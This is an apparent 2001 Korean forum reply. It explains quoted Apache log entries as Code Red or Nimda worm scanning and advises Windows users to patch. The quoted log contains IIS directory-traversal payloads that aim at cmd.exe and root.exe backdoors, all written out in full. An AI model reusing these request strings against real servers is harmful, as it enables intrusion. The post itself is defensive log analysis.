안녕하세요
  아래 로그는 코드레드(레드코드인가) 또는 Nimda 등의 웜 바이러스가
  스캐닝 하고 있는 부분입니다.
  24.13.198.63 번 아이피를 가진 사람이 아직 위의 바이러스 패치를
  하지 않았다는 이야기가 됩니다.
  알려 주시는 것두 괜찮다고 생각합니다.
  저는 해커즈 랩을 통해서 저로그를 자진 아이피의 주인을 찾아서
  계속 알려 주고 있습니다.
  그런데 요즘은 그게 안되는 경우가 많습니다. 흑흑흑
  워낙 개인 사용자들의 아이피(에디에셀, 케이블, 홈피엔에이)
  아이피가 많ㅇ사요 흑흑흑
  그래서 저희서버도 계속 느려지고 있씁니다.
  리눅스라면 파일등에는 전혀 피해가 없습니다.
  하지만, 삼바를 띄워 두셨다면 이야기는 조금 달라질수도 있구요
  그리고, 전혀라고는 또 말하기 힘들다고 생각합니다.
  서버의 프로세스를 차지 하고 있으니깐요
  그리 큰 걱정 하지 않으셔두 될것 같습니다.
  하지만, 윈도우즈 계열이라면 꼭 패치를 해 주십시오
  참고 사이트
  http://home.ahnlab.com   http://www.hauri.co.kr   http://www.snslab.com   
: 안녕하세요. 궁금한 사항이 이렇게 글을 올립니다.
: 서버를 한대 돌리고 있는데 자꾸 이상한 ip들이 서버에 들어 와서 신경이 쓰
: 입니다.
:
: 아파치쪽 로그 화일중에 가끔 이상한게 눈에 띄여 열심히 분석해 보았는데
: 저로서는 해답을 찾지 못했습니다. 다른 로그 기록과 다른 다음 로그들은
: 제 서버에서 대체 무슨 일을 하려구 했는지 궁금 합니다.???????
:
: 고수님들의 많은 관심 부탁 드립니다.
: 다음은 이상한 부분이 있는 아파치 access.log 기록 입니다.
:
: 24.13.198.63 - - [12/Oct/2001:02:34:42 -0700] "GET /msadc/..%255c../..%
: 255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system$
: 24.13.198.63 - - [12/Oct/2001:02:34:50 -0700] "GET /scripts/..%c1%
: 1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:34:59 -0700] "GET /scripts/..%c0%
: 2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:35:07 -0700] "GET /scripts/..%c0%
: af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:35:15 -0700] "GET /scripts/..%c1%
: 9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:35:24 -0700] "GET /scripts/..%%35%
: 63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 282
: 24.13.198.63 - - [12/Oct/2001:02:44:54 -
: 0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 277
: 24.13.198.63 - - [12/Oct/2001:02:44:56 -
: 0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 275
: 24.13.198.63 - - [12/Oct/2001:02:44:59 -
: 0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 285
: 24.13.198.63 - - [12/Oct/2001:02:45:01 -
: 0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 285
: 24.13.198.63 - - [12/Oct/2001:02:45:04 -0700] "GET /scripts/..%
: 255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
: 24.13.198.63 - - [12/Oct/2001:02:45:06 -0700] "GET /_vti_bin/..%
: 255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" $
: 24.13.198.63 - - [12/Oct/2001:02:45:09 -0700] "GET /_mem_bin/..%
: 255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" $
: 24.13.198.63 - - [12/Oct/2001:02:45:11 -0700] "GET /msadc/..%255c../..%
: 255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system$
: 24.13.198.63 - - [12/Oct/2001:02:45:13 -0700] "GET /scripts/..%c1%
: 1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:45:15 -0700] "GET /scripts/..%c0%
: 2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:45:17 -0700] "GET /scripts/..%c0%
: af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:45:19 -0700] "GET /scripts/..%c1%
: 9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298
: 24.13.198.63 - - [12/Oct/2001:02:45:21 -0700] "GET /scripts/..%%35%
: 63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 282
: 24.13.198.63 - - [12/Oct/2001:02:45:24 -0700] "GET /scripts/..%%
: 35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 282   
: 24.13.198.63 - - [12/Oct/2001:02:45:26 -0700] "GET /scripts/..%25%35%
: 63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299
: 24.13.198.63 - - [12/Oct/2001:02:45:29 -0700] "GET /scripts/..%
: 252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 299--<br>
<A STYLE="color:#223322" HREF="http://www.dulihana.com"><img SRC="http://www.dulihana.com/image/link_dulihana.gif" borde
r=0></a>